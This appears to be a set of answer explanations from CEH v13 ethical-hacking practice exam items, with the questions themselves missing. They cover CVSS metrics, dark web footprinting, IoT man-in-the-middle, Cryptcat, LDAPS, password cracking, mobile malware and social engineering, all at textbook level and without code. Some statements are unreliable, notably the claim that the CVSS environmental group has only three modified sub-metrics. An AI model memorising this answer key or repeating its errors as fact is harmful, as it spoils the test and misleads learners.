C. Environmental metric involves the features that change during the lifetime of the vulnerability: This option is incorrect because the environmental metric group captures the characteristics of a vulnerability that are relevant and unique to a user’s environment. The environmental metric group consists of three sub-metrics: Modified Attack Vector, Modified Attack Complexity, and Modified Privileges Required. The environmental metric group also allows the user to assign importance values to the impact sub-metrics: Confidentiality Requirement, Integrity Requirement, and Availability Requirement. The environmental metric group modifies the base and temporal scores to reflect the impact of the vulnerability on the user’s specific environment, such as the network configuration, the security objectives, and the asset value12.

D. Temporal metric involves measuring vulnerabilities based on a specific environment or implementation: This option is incorrect because the temporal metric group does not involve measuring vulnerabilities based on a specific environment or implementation, but rather on the factors that change over time due to events external to the vulnerability. The environmental metric group, not the temporal metric group, involves measuring vulnerabilities based on a specific environment or implementation, as explained in option C.

In CEH v13 Module 02: Footprinting and Reconnaissance, Dark Web Footprinting is discussed as an advanced form of reconnaissance where attackers access hidden services and data using anonymity networks such as Tor (The Onion Router), I2P, or Freenet. These networks enable access to the deep web and dark web, where unindexed, and often illicit, content resides.

Key points relevant to this scenario:

The attacker encrypted browsing traffic and navigated anonymously, which strongly implies the use of tools like Tor or VPNs to mask identity.

The attacker used specialized tools/search engines like:

Torch

Ahmia

DarkSearch

Candle

The goal was to find sensitive or hidden information in government or federal systems — a common dark web footprinting objective.

The final step involved an attack that left no trace, which aligns with using the dark web for anonymity and obfuscation.

Option Analysis:

A. Dark web footprinting

Correct. This matches the behavior described: encrypted, anonymous access to sensitive information through dark web tools.

B. VoIP footprinting ❌

Incorrect. VoIP footprinting relates to identifying vulnerabilities or metadata in Voice over IP systems, not anonymous browsing or dark web activities.

C. VPN footprinting ❌

Incorrect. While VPNs may be used as part of anonymity, VPN footprinting refers to identifying systems using VPNs — not the act of gathering data anonymously.

D. Website footprinting ❌

Incorrect. Website footprinting involves gathering information from public-facing websites, like WHOIS data, robots.txt, and HTML metadata — not hidden dark web content.

Reference from CEH v13 Study Guide and Courseware:

Module 02 – Footprinting and Reconnaissance, Section: Footprinting through Dark Web and Deep Web

CEH v13 iLabs: Using Tor and Dark Web Search Engines for Reconnaissance

CEH Engage – Phase 1 (Reconnaissance): Dark Web Intelligence Gathering

IoT devices often suffer from weak or missing encryption protocols, creating opportunities for attackers to intercept sensitive information. CEH courseware highlights that when device-to-app communication occurs in plaintext, a man-in-the-middle attack becomes one of the most effective exploitation methods. By positioning themselves between the device and the mobile application, the attacker can observe all transmitted data, including configuration updates, authentication tokens, and personal information. Tools such as Wireshark, mitmproxy, and specialized IoT interception frameworks allow testers to capture packets, decode protocols, and reconstruct application logic. The CEH curriculum stresses the importance of evaluating IoT device communication channels, because many rely on unsecured HTTP or proprietary plaintext protocols. Brute-force attempts, SQL injection, or dictionary attacks do not directly target the device–app communication pathway and would not exploit the fundamental weakness present here: lack of encryption. A MitM attack directly takes advantage of this flaw and provides comprehensive visibility into all transmitted data, making it the most effective and CEH-aligned method of exploitation.

Netcat does not support encryption natively. To securely transmit data over the network, the attacker must use a variant like Cryptcat, which adds symmetric encryption to standard netcat functionality.

From CEH v13 Courseware:

Module 8: Sniffing and Secure Communication

CEH v13 Study Guide states:

“Cryptcat is a netcat clone that supports encryption. For secure file transfers or remote shell access, cryptcat is the recommended tool.”

Incorrect Options:

A/B/C: These are invalid or non-existent netcat parameters.

LDAP, the Lightweight Directory Access Protocol, is a mature, flexible, and well supported standards-based mechanism for interacting with directory servers. It’s often used for authentication and storing information about users, groups, and applications, but an LDAP directory server is a fairly general-purpose data store and can be used in a wide variety of applications.

The LDAP protocol can deal in quite a bit of sensitive data: Active Directory usernames, login attempts, failed-login notifications, and more. If attackers get ahold of that data in flight, they might be able to compromise data like legitimate AD credentials and use it to poke around your network in search of valuable assets.

Encrypting LDAP traffic in flight across the network can help prevent credential theft and other malicious activity, but it's not a failsafe—and if traffic is encrypted, your own team might miss the signs of an attempted attack in progress.

While LDAP encryption isn't standard, there is a nonstandard version of LDAP called Secure LDAP, also known as "LDAPS" or "LDAP over SSL" (SSL, or Secure Socket Layer, being the now-deprecated ancestor of Transport Layer Security).

LDAPS uses its own distinct network port to connect clients and servers. The default port for LDAP is port 389, but LDAPS uses port 636 and establishes TLS/SSL upon connecting with a client.

Hashing is a one-way function—by design, it cannot be reversed. Password-cracking tools do not "reverse" the hash. Instead, they:

Generate a list of potential passwords.

Hash each candidate using the same algorithm.

Compare the result to the target hash.

If a match is found, the original password is revealed by correlation, not reversal.

From CEH v13 Official Courseware:

Module 6: Cryptography and Password Cracking

CEH v13 Study Guide states:

“Hash functions are one-way and irreversible. Password-cracking tools work by hashing wordlists or character combinations and comparing them to known password hashes.”

Agent Smith Attack

Agent Smith attacks are carried out by luring victims into downloading and installing malicious

apps designed and published by attackers in the form of games, photo editors, or other

attractive tools from third-party app stores such as 9Apps. Once the user has installed the app,

the core malicious code inside the application infects or replaces the legitimate apps in the

victim's mobile device C&C commands. The deceptive application replaces legitimate apps such

as WhatsApp, SHAREit, and MX Player with similar infected versions. The application sometimes

also appears to be an authentic Google product such as Google Updater or Themes. The

attacker then produces a massive volume of irrelevant and fraudulent advertisements on the

victim's device through the infected app for financial gain. Attackers exploit these apps to steal

critical information such as personal information, credentials, and bank details, from the

victim's mobile device through C&C commands.

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs (personal digital assistant).

A Multipartite Virus is designed to infect both the boot sector and executable files of a system. This makes it more complex and harder to remove than viruses that target only one area. It can spread in multiple ways and activate under different conditions depending on whether the infected file or boot sector is accessed first.

CEH v13 Official Curriculum states:

“Multipartite viruses infect both the boot sector and program files. They are difficult to remove and can reinfect the system unless both locations are cleaned simultaneously.”

Incorrect Options:

A. Polymorphic viruses change their code signatures but do not necessarily target both boot and executable areas.

B. Stealth viruses conceal their presence, often by intercepting system calls.

D. Macro viruses infect macro-enabled files, typically in Microsoft Office documents.

Reference – CEH v13 Guide:

Module 06: Malware Threats

Topic: Types of Malware – Multipartite Viruses

This Social Engineering scam involves an exchange of information that can benefit both the victim and the trickster. Scammers would make the prey believe that a fair exchange will be present between both sides, but in reality, only the fraudster stands to benefit, leaving the victim hanging on to nothing. An example of a Quid Pro Quo is a scammer pretending to be an IT support technician. The con artist asks for the login credentials of the company’s computer saying that the company is going to receive technical support in return. Once the victim has provided the credentials, the scammer now has control over the company’s computer and may possibly load malware or steal personal information that can be a motive to commit identity theft.

"A quid pro quo attack (aka something for something” attack) is a variant of baiting. Instead of baiting a target with the promise of a good, a quid pro quo attack promises a service or a benefit based on the execution of a specific action."

The best practice to meet the client’s requirement is to encrypt data client-side before uploading to the cloud and retain control of the encryption keys. This practice is also known as client-side encryption or end-to-end encryption, and it involves encrypting the data on the client’s device using a software or hardware tool that generates and manages the encryption keys. The encrypted data is then uploaded to the cloud service, where it remains encrypted at rest. The encryption keys are never shared with the cloud service provider or any third party, and they are only used by the client to decrypt the data when needed. This way, the client can maintain full control over the encryption keys and the security of the data, even when the data is stored on a public cloud service12.

The other options are not as optimal as option D for the following reasons:

A. Use the cloud service provider’s encryption services but store keys on-premises: This option is not feasible because it contradicts the client’s requirement of maintaining full control over the encryption keys. Using the cloud service provider’s encryption services means that the client has to rely on the cloud service provider to generate and manage the encryption keys, even if the keys are stored on-premises. The cloud service provider may have access to the keys or the ability to decrypt the data, which may compromise the security and privacy of the data. Moreover, storing the keys on-premises may introduce additional challenges, such as key distribution, synchronization, backup, and recovery3.

B. Use the cloud service provider’s default encryption and key management services: This option is not desirable because it violates the client’s requirement of maintaining full control over the encryption keys. Using the cloud service provider’s default encryption and key management services means that the client has to trust the cloud service provider to encrypt and decrypt the data on the server-side, using the cloud service provider’s own encryption keys and mechanisms. The cloud service provider may have access to the keys or the ability to decrypt the data, which may compromise the security and privacy of the data. Furthermore, the cloud service provider’s default encryption and key management services may not meet the regulatory requirements or the security standards of the client4.

C. Rely on Secure Sockets Layer (SSL) encryption for data at rest: This option is not sufficient because SSL encryption is not designed for data at rest, but for data in transit. SSL encryption is a protocol that encrypts the data as it travels over the internet between the client and the server, using certificates and keys that are exchanged and verified by both parties. SSL encryption can protect the data from being intercepted or modified by unauthorized parties, but it does not protect the data from being accessed or decrypted by the cloud service provider or any third party who has access to the server. Moreover, SSL encryption does not provide the client with any control over the encryption keys or the security of the data.